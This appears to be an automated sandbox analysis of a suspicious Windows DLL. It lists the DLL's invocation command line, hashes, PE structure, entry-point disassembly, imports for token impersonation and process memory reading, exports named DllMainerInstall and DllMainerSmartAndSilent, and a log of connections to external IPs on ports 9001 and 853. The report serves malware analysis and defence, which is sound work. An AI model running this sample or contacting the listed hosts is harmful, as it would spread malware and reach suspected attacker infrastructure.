"C:\Users\user\Desktop\uEhN67huiV.dll",DllMainerInstallUserOnly..Cu

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.422395859024664
Encrypted:	false
SSDEEP:	6144:dSvfpi6ceLP/9skLmb0OTMWSPHaJG8nAgeMZMMhA2fX4WABlEnNa0uhiTw:EvloTMW+EZMM6DFy003w
MD5:	E9C1590AC0B05FE816E8EC28F9E75ADF
SHA1:	7D2CE9346D7AEC54EE6238863C3C1CFDC46EDAA2
SHA-256:	638EC038309F239E323B4AB4C17F3DB7458D3A04F487E9F88814639DA76D9887
SHA-512:	FAF8D0747CAAA195A27DAA5B959872B6C772F70CFFEBDE1616ACC41A9D34478B9819B9E54B108CEF9514C9C8AFC46B3C78D6E0395E7E5A78B9A39E99349EB8C7
Malicious:	false
Preview:	regf>...>....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm..PqP.................................................................................................................................................................................................................................................................................................................................................d........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Entropy (8bit):	7.399529582814487
TrID:	Win64 Dynamic Link Library (generic) (102004/3) 86.43% Win64 Executable (generic) (12005/4) 10.17% Generic Win/DOS Executable (2004/3) 1.70% DOS Executable Generic (2002/1) 1.70% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.01%
File name:	uEhN67huiV.dll
File size:	11'421'696 bytes
MD5:	217191ece640821660fb91ccda6e3422
SHA1:	a0237e393079a306f70bd436c15c5b7abb4e8a23
SHA256:	6d54f141eb720b107b479bf46db29af4df2b96fe090b3ddaf835b3a1d1ed40a1
SHA512:	ba3218ae3e7237ee4428eeb7cd2e4e1c93b09b3f7d29f0aea2d2c8db48c80b9ff2a5e4d60c3f533978a058555fdee713d2e0b8f33d991f8ca9678fdadd92fecc
SSDEEP:	196608:N2ncMjLxcqRTEKBQoBGhWeeCzNuyHG5QGwjt:cncMXCqRwxoCLRN/HG5twj
TLSH:	FDB6D01AA3E809A6E477C738C9269323C7B1BDA65735D14F0508324D2F73A63DB6B325
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......sK..7o.7o.7o.1.j..o.1.k.<o.1.l.&o.>R..;o.\|Rn.>o.7n.,+o.$.l.=o.$.k..o.7o.5o.$.j..o.B.o.6o.B.m.6o.Rich7*o........

File Icon


Icon Hash:	7ae282899bbab082

Static PE Info

General

Entrypoint:	0x1800b21d0
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x180000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, DLL
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x67597BEB [Wed Dec 11 11:47:55 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	d8734969ef6b77f777ea39cdc21d0205

Entrypoint Preview

Instruction
dec eax
mov dword ptr [esp+08h], ebx
dec eax
mov dword ptr [esp+10h], esi
push edi
dec eax
sub esp, 20h
dec ecx
mov edi, eax
mov ebx, edx
dec eax
mov esi, ecx
cmp edx, 01h
jne 00007F9098CE56C7h
call 00007F9098CE5FE0h
dec esp
mov eax, edi
mov edx, ebx
dec eax
mov ecx, esi
dec eax
mov ebx, dword ptr [esp+30h]
dec eax
mov esi, dword ptr [esp+38h]
dec eax
add esp, 20h
pop edi
jmp 00007F9098CE5554h
int3
int3
int3
jmp 00007F9098CE6280h
int3
int3
int3
dec eax
sub esp, 28h
call 00007F9098CE627Ch
jmp 00007F9098CE56C4h
xor eax, eax
dec eax
add esp, 28h
ret
int3
int3
dec eax
sub esp, 28h
dec ebp
mov eax, dword ptr [ecx+38h]
dec eax
mov ecx, edx
dec ecx
mov edx, ecx
call 00007F9098CE56D2h
mov eax, 00000001h
dec eax
add esp, 28h
ret
int3
int3
int3
inc eax
push ebx
inc ebp
mov ebx, dword ptr [eax]
dec eax
mov ebx, edx
inc ecx
and ebx, FFFFFFF8h
dec esp
mov ecx, ecx
inc ecx
test byte ptr [eax], 00000004h
dec esp
mov edx, ecx
je 00007F9098CE56D5h
inc ecx
mov eax, dword ptr [eax+08h]
dec ebp
arpl word ptr [eax+04h], dx
neg eax
dec esp
add edx, ecx
dec eax
arpl ax, cx
dec esp
and edx, ecx
dec ecx
arpl bx, ax
dec edx
mov edx, dword ptr [eax+edx]
dec eax
mov eax, dword ptr [ebx+10h]
mov ecx, dword ptr [eax+08h]
dec eax
mov eax, dword ptr [ebx+08h]
test byte ptr [ecx+eax+03h], 0000000Fh
je 00007F9098CE56CDh
movzx eax, byte ptr [ecx+eax+03h]
and eax, FFFFFFF0h

Rich Headers

Programming Language:

[IMP] VS2008 SP1 build 30729

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0xc3eeb0	0xf8	.rdata
IMAGE_DIRECTORY_ENTRY_IMPORT	0xc3efa8	0xc8	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xcae000	0x358	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0xc69000	0x43860	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xcaf000	0xe4c	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0xbbe360	0x54	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0xbbe580	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0xbbe220	0x140	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x544000	0x860	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xb9688	0xb9800	b56236150c1772522825b614222f422c	False	0.42578125	data	6.611163074443194	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.managed	0xbb000	0x2e1b28	0x2e1c00	7a892ffc1ca62dc1f4cd90fc9a00dfc5	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
hydrated	0x39d000	0x1a6470	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0x544000	0x6fcd36	0x6fce00	35b5ce6790517f8d9e1f6546bd42dd88	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xc41000	0x27330	0x7200	e5efb9f9770bb2c987f3bfa5a578d97f	False	0.28440241228070173	data	4.651312927464609	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0xc69000	0x43860	0x43a00	e3dc0043cde98f3b85ca8ad6cdcd6433	False	0.4935521603512015	data	6.416228488713853	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
_RDATA	0xcad000	0x1f4	0x200	6ac3517f6fe43009ce3e12e51499bfaf	False	0.537109375	data	4.2165455668808205	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0xcae000	0x358	0x400	951041ff34ed2b4e1180baa72f352707	False	0.3720703125	data	2.7821711182532414	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xcaf000	0xe4c	0x1000	0ca50b363601fdd722a150229a3e7262	False	0.36865234375	data	5.226023472424313	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0xcae058	0x300	MacBinary, comment length 97, char. code 0x69, total length 1711304448, Wed Mar 28 22:22:24 2040 INVALID date, modified Tue Feb 7 01:41:58 2040, creator ' ' "4"			0.4427083333333333

Imports

DLL	Import
ADVAPI32.dll	RegQueryValueExW, RegCloseKey, OpenProcessToken, LookupPrivilegeValueW, AdjustTokenPrivileges, RegEnumKeyExW, RegOpenKeyExW, RevertToSelf, OpenThreadToken, SetThreadToken, DuplicateTokenEx, GetSecurityDescriptorLength, GetTokenInformation, CreateWellKnownSid, GetWindowsAccountDomainSid, ImpersonateLoggedOnUser, CheckTokenMembership
bcrypt.dll	BCryptFinalizeKeyPair, BCryptExportKey, BCryptDecrypt, BCryptEncrypt, BCryptCreateHash, BCryptGenRandom, BCryptFinishHash, BCryptGenerateKeyPair, BCryptGetProperty, BCryptHashData, BCryptImportKey, BCryptImportKeyPair, BCryptOpenAlgorithmProvider, BCryptVerifySignature, BCryptSetProperty, BCryptCloseAlgorithmProvider, BCryptDestroyKey, BCryptDestroyHash
KERNEL32.dll	TlsFree, TlsSetValue, TlsGetValue, TlsAlloc, InitializeCriticalSectionAndSpinCount, RaiseException, RtlPcToFileHeader, InterlockedFlushSList, RtlUnwindEx, IsDebuggerPresent, InitializeSListHead, IsProcessorFeaturePresent, SetUnhandledExceptionFilter, UnhandledExceptionFilter, RtlLookupFunctionEntry, GetProcessHeap, HeapFree, GetTickCount64, ExitProcess, QueryPerformanceCounter, OpenProcess, ReadProcessMemory, CloseHandle, SetLastError, FormatMessageW, GetLastError, GetModuleHandleW, GetProcAddress, SetConsoleCtrlHandler, GetCPInfoExW, GetConsoleMode, GetFileType, ReadFile, ReadConsoleW, WriteFile, WriteConsoleW, GetConsoleCP, GetConsoleOutputCP, GetStdHandle, MultiByteToWideChar, WideCharToMultiByte, GetExitCodeProcess, GetProcessTimes, CreateProcessW, TerminateProcess, K32EnumProcesses, GetProcessId, DuplicateHandle, CreatePipe, GetCurrentProcess, GetDriveTypeW, GetLogicalDrives, ConnectNamedPipe, WaitNamedPipeW, CancelIoEx, CreateNamedPipeW, CreateFileW, OpenThread, CancelSynchronousIo, GetCurrentThreadId, CloseThreadpoolIo, GetCurrentProcessId, RaiseFailFastException, TzSpecificLocalTimeToSystemTime, SystemTimeToFileTime, FileTimeToSystemTime, GetSystemTime, GetCurrentThread, WaitForSingleObject, Sleep, DeleteCriticalSection, LocalFree, EnterCriticalSection, SleepConditionVariableCS, LeaveCriticalSection, WakeConditionVariable, InitializeCriticalSection, InitializeConditionVariable, CreateThreadpoolTimer, SetThreadpoolTimer, WaitForMultipleObjectsEx, CreateThreadpoolWait, SetThreadpoolWait, WaitForThreadpoolWaitCallbacks, CloseThreadpoolWait, CreateThreadpoolWork, CloseThreadpoolWork, SubmitThreadpoolWork, QueryPerformanceFrequency, GetFullPathNameW, GetLongPathNameW, GetCPInfo, LocalAlloc, CreateIoCompletionPort, CreateDirectoryW, CreateThreadpoolIo, StartThreadpoolIo, CancelThreadpoolIo, DeleteFileW, DeleteVolumeMountPointW, DeviceIoControl, ExpandEnvironmentStringsW, FindNextFileW, FindClose, FindFirstFileExW, FlushFileBuffers, FreeLibrary, GetCurrentDirectoryW, GetFileAttributesExW, GetFileInformationByHandleEx, GetModuleFileNameW, GetOverlappedResult, GetSystemDirectoryW, LoadLibraryExW, QueryUnbiasedInterruptTime, RemoveDirectoryW, SetCurrentDirectoryW, SetFileAttributesW, SetFileInformationByHandle, SetFilePointerEx, SetThreadErrorMode, CreateThread, ResumeThread, GetThreadPriority, SetThreadPriority, GetDynamicTimeZoneInformation, GetTimeZoneInformation, GetCurrentProcessorNumberEx, SetEvent, ResetEvent, CreateEventExW, GetEnvironmentVariableW, CreateMutexExW, ReleaseMutex, SetEnvironmentVariableW, FlushProcessWriteBuffers, WaitForSingleObjectEx, RtlVirtualUnwind, RtlCaptureContext, RtlRestoreContext, AddVectoredExceptionHandler, FlsAlloc, FlsGetValue, FlsSetValue, CreateEventW, SwitchToThread, SuspendThread, GetThreadContext, SetThreadContext, FlushInstructionCache, VirtualAlloc, VirtualProtect, VirtualFree, QueryInformationJobObject, GetModuleHandleExW, GetProcessAffinityMask, InitializeContext, GetEnabledXStateFeatures, SetXStateFeaturesMask, InitializeCriticalSectionEx, VirtualQuery, GetSystemTimeAsFileTime, DebugBreak, SleepEx, GlobalMemoryStatusEx, GetSystemInfo, GetLogicalProcessorInformation, GetLogicalProcessorInformationEx, GetLargePageMinimum, VirtualUnlock, VirtualAllocExNuma, IsProcessInJob, GetNumaHighestNodeNumber, GetProcessGroupAffinity, K32GetProcessMemoryInfo, EncodePointer, DecodePointer, HeapCreate, HeapDestroy, HeapAlloc
ole32.dll	CoTaskMemFree, CoCreateGuid, CoGetApartmentType, CoTaskMemAlloc, CoUninitialize, CoInitializeEx, CoWaitForMultipleHandles
api-ms-win-crt-math-l1-1-0.dll	log2, fmod, fmodf, ceil, cos, exp, log, pow, sin, sinh, tan, modf, floor, nan, nanf
api-ms-win-crt-heap-l1-1-0.dll	calloc, free, malloc, _callnewh
api-ms-win-crt-string-l1-1-0.dll	_stricmp, strcpy_s, wcsncmp, strcmp
api-ms-win-crt-convert-l1-1-0.dll	strtoull
api-ms-win-crt-runtime-l1-1-0.dll	abort, _register_onexit_function, _initialize_onexit_table, terminate, _initialize_narrow_environment, _configure_narrow_argv, _seh_filter_dll, exit, _execute_onexit_table, _initterm_e, _crt_atexit, _initterm, _cexit

Exports

Name	Ordinal	Address
DllMainer	1	0x18014c5c0
DllMainerInstall	2	0x18014c6d0
DllMainerInstallUserOnly	3	0x18014c720
DllMainerSmartAndSilent	4	0x18014c780
DllMainerUserOnly	5	0x18014c610
DotNetRuntimeDebugHeader	6	0x180c47180
Dummy	7	0x18014c670

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 17, 2024 11:49:25.916213989 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:25.916547060 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:25.916774035 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:26.036386967 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:26.036433935 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:26.036519051 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:26.036566973 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:26.036778927 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:26.037318945 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:26.109117031 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:26.109329939 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:26.109455109 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:26.229100943 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:26.229212999 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:26.229228973 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:27.134298086 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:27.138642073 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:27.184482098 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:27.188343048 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:27.258615971 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:27.308294058 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:27.313019037 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:27.314598083 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:27.434504986 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:27.457760096 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:27.534723997 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:27.548523903 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:27.549818039 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:27.672244072 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:27.673172951 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:27.726916075 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:27.728135109 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:27.847886086 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:27.867858887 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:27.867907047 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:27.867994070 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:27.874068022 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:27.916661024 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:27.916667938 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:27.916728973 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:27.922312975 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:27.994154930 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:27.995704889 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:28.042088032 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:28.045135975 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:28.115674019 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:28.139059067 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:28.139218092 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:28.139359951 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:28.164966106 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:28.180005074 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:28.299906015 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:28.300020933 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:28.317826033 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:28.318564892 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:28.391239882 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:28.420044899 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:28.438625097 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:28.438694000 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:28.469928026 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:28.558849096 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:28.639642000 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:28.741616011 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:28.748681068 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:28.760016918 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:28.760059118 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:28.760097027 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:28.760133982 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:28.760406017 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:28.760406017 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:28.768642902 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:28.768680096 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:28.768748045 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:28.776871920 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:28.777017117 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:28.777159929 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:28.785501957 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:28.785559893 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:28.785639048 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:28.793798923 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:28.793942928 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:28.794020891 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:28.802180052 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:28.802200079 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:28.802253962 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:28.826843023 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:28.868731976 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:28.868814945 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:28.868889093 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:28.951996088 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:28.952033043 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:28.952105999 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:28.954421043 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:28.954518080 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:28.954566002 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:28.959393024 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:28.959585905 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:28.959642887 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:28.967925072 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:28.968036890 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:28.968126059 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:28.976274014 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:28.976363897 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:28.976454020 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:28.976948023 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:28.984771013 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:28.984860897 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:28.984890938 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:28.984944105 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:28.993221998 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:28.993303061 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:28.993307114 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:28.993355989 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.001549006 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.001676083 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.001730919 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.010082960 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.010139942 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.010157108 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.010189056 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.018421888 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.018522978 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.018606901 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.026824951 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.026906013 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.026943922 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.027009010 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.035229921 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.035362959 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.035527945 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.043639898 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.043704987 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.043767929 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.043836117 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.072081089 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.072156906 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.072160006 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.072283030 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.076210976 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.076260090 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.076313972 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.076355934 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.084733963 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.084768057 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.084805965 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.096823931 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.144107103 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.144184113 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.144198895 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.144244909 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.146575928 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.146681070 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.146753073 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.146879911 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.151741982 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.151843071 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.153717995 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.153805971 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.153841019 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.153861046 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.159168005 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.159343004 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.159364939 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.159384012 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.164288044 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.164345026 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.164380074 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.164396048 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.169236898 CET	9001	49722	18.18.82.18	192.168.2.5
